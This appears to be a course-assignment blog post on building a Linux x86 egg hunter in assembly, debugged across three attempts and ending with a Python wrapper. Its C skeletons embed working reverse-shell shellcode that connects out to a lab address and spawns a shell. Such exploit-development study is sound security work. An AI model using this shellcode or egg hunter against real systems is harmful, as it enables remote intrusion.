Introduction
Egg Hunter is super useful and simple piece of code used to search for an defined series of bytes called “egg” in a memory. Egg as such is just a 4 bytes string, usually: “w00t” (but it can be anything else unique) which is added twice as prefix to a shellcode and thus marks beginning of a shell code.
Egg Hunter is used in situation when buffer overflow vulnerability provides limited space, not large enough for placing shell code, but still shell code ends up somehow, somewhere in a memory.
For example, HTTP header can be vulnerable to buffer overflow but useful buffer is not large enough to hold shell code so instead shell code can can be delivered as payload within POST parameters of the same request etc.
Instead of direct execution of shellcode at first Egg Hunter is executed which searches for a egg in a memory and once it founds egg (two instances of egg: w00tw00t) it passes execution to a shellcode located just after the egg.
Egg is appended twice as prefix to shell code in order to prevent Egg Hunter to find itself, meaning that egg is “w00t” but Egg Hunter is looking for two occurrences of egg (w00t) one after another (w00tw00t).
Prototype
We could write Egg Hunter in pseudo code as follows:
1
2
3
4
5
6
7
8
9
egg = "w00t" # define egg
x = 0 # starting memory location
While(True): # loop - which is running until 2 eggs are found
if read(4 bytes at x) == egg: # read 4 bytes and compare to egg (w00t)
if read(4 bytes at x+4) == egg: # if first 4 bytes are eaqual to egg, read next 4 bytes
execute x+8 # if another occurance of egg is found, pass execution to x+8 (shell code location)
else:
x = x+1 # if egg isn't found, increase memory location +1 and try again
Egg Hunter - first attempt
Let’s write basic Egg Hunter in assembly code based on prototype and see what will happen. Once Egg Hunter is compiled and liked, we can use Egg Hunter opcode with sekeleton code from previous blog posts. In order for Egg Hunter to find and execute shell code (reverse shell code from previous blog post was used) we need to add two instances of egg \x77\x30\x30\x74
at the beginning of shell code.
- Assemlby code is following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
global _start
_start:
XOR EDX, EDX ; clear EDX
NEXT_ADDRESS: ; label used for looping
INC EDX ; increase EDX by 1
CMP DWORD [EDX], 0x74303077 ; Compare 4 bytes with w00t
JNZ SHORT NEXT_ADDRESS ; if w00t not found, jump to NEXT_ADDRESS
CMP dword [EDX+4], 0x74303077 ; if w00t found, compare next 4 bytes with w00t
JNZ SHORT NEXT_ADDRESS ; if second w00t not found, jump to NEXT_ADDRESS
ADD EDX, 0x8 ; if two eggs are found, increase EDX + 8
JMP EDX ; jump to EDX + 8 address where shell code would be located
Assembly code can be compiled and linked with following commands:
1
2
nasm -f elf32 -o egghunter1.o egghunter1.nasm
ld -z execstack -o egghunter1 egghunter1.o
Following series of piped commands can be used to extract opcodes:
1
objdump -d egghunter1 |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
- Skeleton code with Egg Hunter and reverse shell is following:
1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
unsigned char egghunter[] = "\x31\xd2\x42\x81\x3a\x77\x30\x30\x74\x75\xf7\x81\x7a\x04\x77\x30\x30\x75\xee\x83\xc2\x08\xff\xe2";
unsigned char shellcode[] = "\x77\x30\x30\x74\x77\x30\x30\x74\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x31\xf6\x66\xb8\x67\x01\xb3\x02\xb1\x01\xb2\x06\xcd\x80\x89\xc7\x31\xc0\x66\xb8\x6a\x01\x31\xc9\x51\x68\xc0\xa8\xc0\x9f\x66\x68\x11\x5c\x66\x6a\x02\x89\xfb\x89\xe1\xb2\x16\xcd\x80\x31\xc0\x31\xdb\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\x89\xfb\xfe\xc9\xcd\x80\x75\xf4\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
// 1st egg ------------------^^^^^^^^^^^^^^^^^
// 2nd egg -----------------------------------^^^^^^^^^^^^^^^
int main()
{
int (*ret)() = (int(*)())egghunter;
printf("Size of egghunter: %d bytes.\n", sizeof(egghunter));
ret();
}
When compiled and run we get an segmentation fault at the very beginning of execution as shown on following screenshot and GDB output:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x404040 --> 0x8142d231
EBX: 0x404000 --> 0x3efc
ECX: 0x0
EDX: 0x1
ESI: 0xb7fb8000 --> 0x1dfd6c
EDI: 0xb7fb8000 --> 0x1dfd6c
EBP: 0xbffff2b8 --> 0x0
ESP: 0xbffff29c --> 0x4011d9 (<main+64>: mov eax,0x0)
EIP: 0x404043 --> 0x30773a81
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x40403e: add BYTE PTR [eax],al
0x404040 <egghunter>: xor edx,edx
0x404042 <egghunter+2>: inc edx
=> 0x404043 <egghunter+3>: cmp DWORD PTR [edx],0x74303077
0x404049 <egghunter+9>: jne 0x404042 <egghunter+2>
0x40404b <egghunter+11>: cmp DWORD PTR [edx+0x4],0x75303077
0x404052 <egghunter+18>: out dx,al
0x404053 <egghunter+19>: add edx,0x8
[------------------------------------stack-------------------------------------]
0000| 0xbffff29c --> 0x4011d9 (<main+64>: mov eax,0x0)
0004| 0xbffff2a0 --> 0x1
0008| 0xbffff2a4 --> 0xbffff364 --> 0xbffff4e5 ("/root/repository/slae-exam/assignment03/egghunter1_exe")
0012| 0xbffff2a8 --> 0xbffff36c --> 0xbffff51c ("SHELL=/bin/bash")
0016| 0xbffff2ac --> 0x404040 --> 0x8142d231
0020| 0xbffff2b0 --> 0xbffff2d0 --> 0x1
0024| 0xbffff2b4 --> 0x0
0028| 0xbffff2b8 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00404043 in egghunter ()
The reason we got segmentation fault is because our program is trying to access unallocated memory.
We can verify this with following gdb command x/1b 0x1
used to display one byte at given location 0x1:
1
2
3
gdb-peda$ x/1b 0x1
0x1: Cannot access memory at address 0x1
gdb-peda$
To mitigate this issue, there are few possible solutions. Solution we will implement is based on ACCESS syscall.
The access syscall
From the man 2 access
pages we can see that access syscall takes two arguments and checks if calling process can access file pathname. At first it seams non usefull to us, but the thing is, access syscall can also accept memory address instead of file pathname and as such can verify if user can access memory location.
Based on the return value (stored in EAX register), we can conclude whether program can access memory location without causing segmentation fault.
1
int access(const char *pathname, int mode);
access() checks whether the calling process can access the file pathname. If pathname is a symbolic link, it is dereferenced. access() and faccessat() may fail if: EFAULT pathname points outside your accessible address space.
So to successfully use access, we need to monitor return value stored in EAX. If EAX is equal to -14 which is EFAULT then tested address cannot be accessible.
EFAULT is defined in /usr/include/libr/sflib/common/sftypes.h
file and F_OK is defined in /usr/include/unistd.h
file. that has code 14, or 0xf2 in negative form.
1
#define EFAULT 14 /* Bad address */
Egg Hunter - second attempt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
global _start
section .text
_start:
MOV EDI, 0x74303077
XOR ECX, ECX ; clear ECX as ECX is used as second argument to access syscall
XOR EDX, EDX ; clear EDX as EDX will be used to store current address, starting with 0
NEXT_ADDRESS: ; label used for looping
INC EDX ; increase EDX by 1 (next address)
XOR EAX, EAX ; clear EAX as EAX is used for access syscall number (0x21)
MOV AL, 0x21 ; move access syscall number in EAX
LEA EBX, [EDX] ; copy EDX address to EBX as first argument to access syscall
INT 0x80 ; interrupt (syscall 0x21)
CMP AL, 0xF2 ; compare access syscall result in EAX with 0xF2 which represent EFAULT
JZ SHORT NEXT_ADDRESS ; if address is not accessible then jump to NEXT_ADDRESS
CMP [EDX], EDI ; if address is accessible then compare 4 bytes with w00t
JNZ SHORT NEXT_ADDRESS ; if w00t is not found, jump to NEXT_ADDRESS
CMP [EDX+4], EDI ; if w00t is found, compare next 4 bytes with w00t
JNZ SHORT NEXT_ADDRESS ; if second w00t is not found then jump to NEXT_ADDRESS
ADD EDX, 0x8 ; if two eggs (w00tw00t) are found, increase ECX + 8
JMP EDX ; jump to ECX + 8 address where shell code would be located
When we compile it, extract opcode and use opcode within following skeleton C code the Egg Hunter is working but unfortunately not every time. In some cases Egg Hunter crashes.
1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
unsigned char egghunter[]= "\xbf\x77\x30\x30\x74\x31\xc9\x31\xd2\x42\x31\xc0\xb0\x21\x8d\x1a\xcd\x80\x3c\xf2\x74\xf3\x39\x3a\x75\xef\x39\x7a\x04\x75\xea\x83\xc2\x08\xff\xe2";
unsigned char shellcode[] = "\x77\x30\x30\x74\x77\x30\x30\x74\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x31\xf6\x66\xb8\x67\x01\xb3\x02\xb1\x01\xb2\x06\xcd\x80\x89\xc7\x31\xc0\x66\xb8\x6a\x01\x31\xc9\x51\x68\xc0\xa8\xc0\x9f\x66\x68\x11\x5c\x66\x6a\x02\x89\xfb\x89\xe1\xb2\x16\xcd\x80\x31\xc0\x31\xdb\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\x89\xfb\xfe\xc9\xcd\x80\x75\xf4\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
int main()
{
int (*ret)() = (int(*)())egghunter;
printf("Size of egghunter: %d bytes.\n", sizeof(egghunter));
ret();
}
By using GDB it can be concluded that checking access to only address stored in EDX is not always enough as current address in EDX can be accessible to Egg Hunter but EDX+8 address may not be accessible.
To mitigate this issue we can verify if address from EDX is accessible and if address EDX+8 is also accessible.
Next attempt…
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
global _start
section .text
_start:
MOV EDI, 0x74303077
XOR ECX, ECX ; clear ECX - ECX is used as second argument to access syscall (0)
XOR EDX, EDX ; clear EDX - EDX will be used to store current address, starting with 0
NEXT_ADDRESS: ; label used for looping
INC EDX ; increase EDX by 1
XOR EAX, EAX ; EAX is used for access syscall number (0x21)
MOV AL, 0x21 ; move access syscall number in EAX
LEA EBX, [EDX] ; move EDX address to EBX as first argument to access syscall
INT 0x80 ; interrupt (syscall 0x21)
CMP AL, 0xF2 ; compare access syscall result in EAX with 0xF2 which represent EFAULT
JZ SHORT NEXT_ADDRESS ; if address not accessible jump to NEXT_ADDRESS
XOR EAX, EAX ; EAX is used for access syscall number
MOV AL, 0x21 ; access syscall number
LEA EBX, [EDX+8] ; move EDX+8 address to EBX as first argument to access syscall
INT 0x80 ; interrupt (syscall 0x21)
CMP AL, 0xF2 ; check for EFAULT
JZ SHORT NEXT_ADDRESS ; if not accessible jump to NEXT_ADDRESS
CMP [EDX], EDI ; if accessible then Compare 4 bytes with w00t
JNZ SHORT NEXT_ADDRESS ; if w00t not found, jump to NEXT_ADDRESS
CMP [EDX+4], EDI ; if w00t found, compare next 4 bytes with w00t
JNZ SHORT NEXT_ADDRESS ; if second w00t not found, jump to NEXT_ADDRESS
ADD EDX, 0x8 ; if two eggs are found, increase ECX + 8
JMP EDX ; jump to ECX + 8 address where shell code would be located
Now everyting works fine, shell code is found by Egg Hunter and (reverse) shell code is executed.
Finding an egg with this Egg Hunter takes time and it has impact on performance which can be seen on the right part of the screenshot - CPU utilization (98.3%).
According to resources listed in last chapter, Linux maps user portion of the virtual address space using 4KB pages. Bytes 0-4095 fall in page 0, bytes 4096-8191 fall in page 1, and so on. If one address from the page is not accessible, all other addresses form the same page are also not accessible. So in order to speed up egghunter we could test if any address from page is accessible and if it is not we can skip to another page which saves us 4095 access syscalls per page.
Egg Hunter - third and final attempt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
global _start
section .text
_start:
MOV EDI, 0x74303077 ; place egg in EDX
XOR ECX, ECX ; clear ECX as ECX will be used as second argument to syscall
XOR EDX, EDX ; clear EDX as EDX will be used as to hold current address
NEXT_PAGE:
OR DX, 0xFFF ; dx=4095 ; 0x1000 - 1 (4095) ; Page sizes in Linux x86 = 4096
NEXT_ADDRESS: ; label used for looping
INC EDX ; increase EDX by 1
XOR EAX, EAX ; EAX is used for access syscall number
MOV AL, 0x21 ; access syscall number 0x21
LEA EBX, [EDX+8] ; check if EDX+8 is accessible
INT 0x80 ; interrupt (syscall 0x21)
CMP AL, 0xF2 ; check for EFAULT
JZ NEXT_PAGE ; if not accessible jump to NEXT_PAGE
CMP [EDX], EDI ; if address is accessible then compare 4 bytes with egg stored in EDI
JNZ NEXT_ADDRESS ; if egg is not found, jump to NEXT_ADDRESS
CMP [EDX+4], EDI ; compare next 4 bytes with egg
JNZ NEXT_ADDRESS ; if second egg is not found, jump to NEXT_ADDRESS
ADD EDX, 0x8 ; if two eggs are found, increase EDX + 8 (to skip two eggs)
JMP EDX ; jump to EDX + 8 address where shell code would be located
opcode: "\xbf\x77\x30\x30\x74\x31\xc9\x31\xd2\x66\x81\xca\xff\x0f\x42\x31\xc0\xb0\x21\x8d\x5a\x08\xcd\x80\x3c\xf2\x74\xed\x39\x3a\x75\xee\x39\x7a\x04\x75\xe9\x83\xc2\x08\xff\xe2"
skeleton code:
1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
unsigned char egghunter[] = "\xbf\x77\x30\x30\x74\x31\xc9\x31\xd2\x66\x81\xca\xff\x0f\x42\x31\xc0\xb0\x21\x8d\x5a\x08\xcd\x80\x3c\xf2\x74\xed\x39\x3a\x75\xee\x39\x7a\x04\x75\xe9\x83\xc2\x08\xff\xe2";
unsigned char shellcode[] = "\x77\x30\x30\x74\x77\x30\x30\x74\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x31\xf6\x66\xb8\x67\x01\xb3\x02\xb1\x01\xb2\x06\xcd\x80\x89\xc7\x31\xc0\x66\xb8\x6a\x01\x31\xc9\x51\x68\xc0\xa8\xc0\x9f\x66\x68\x11\x5c\x66\x6a\x02\x89\xfb\x89\xe1\xb2\x16\xcd\x80\x31\xc0\x31\xdb\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\x89\xfb\xfe\xc9\xcd\x80\x75\xf4\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
int main()
{
int (*ret)() = (int(*)())egghunter;
printf("Size of egghunter: %d bytes.\n", sizeof(egghunter));
ret();
}
gcc -fno-stack-protector -z execstack -m32 skeleton3.c -o egghunter3_exe
And it works..
Wrapper
In order to make Egg Hunter configurable to various shell codes and eggs we can use following python script which takes 4 letter egg and creates Egg Hunter code as well as egg to be added as prefix to shellcode:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import sys
egghunter = "\\xbfEGG\\x31\\xc9\\x31\\xd2\\x66\\x81\\xca\\xff\\x0f\\x42\\x31\\xc0\\xb0\\x21\\x8d\\x5a\\x08\\xcd\\x80\\x3c\\xf2\\x74\\xed\\x39\\x3a\\x75\\xee\\x39\\x7a\\x04\\x75\\xe9\\x83\\xc2\\x08\\xff\\xe2";
# to be replaced--^^^ with 4 bytes egg
if len(sys.argv) != 2:
print 'Usage: wrapper.py <4 letter egg>'
sys.exit(-1)
elif len(sys.argv[1]) != 4:
print 'Egg should be 4 bytes long'
else:
egg =sys.argv[1]
egg_final = "\\x" + egg[0].encode("hex") + "\\x" + egg[1].encode("hex") + "\\x" + egg[2].encode("hex") + "\\x" + egg[3].encode("hex")
egghunter = egghunter.replace("EGG", egg_final)
print "Egghunter: " + egghunter
print "Add: " + egg_final + egg_final + " at beginning of shell code"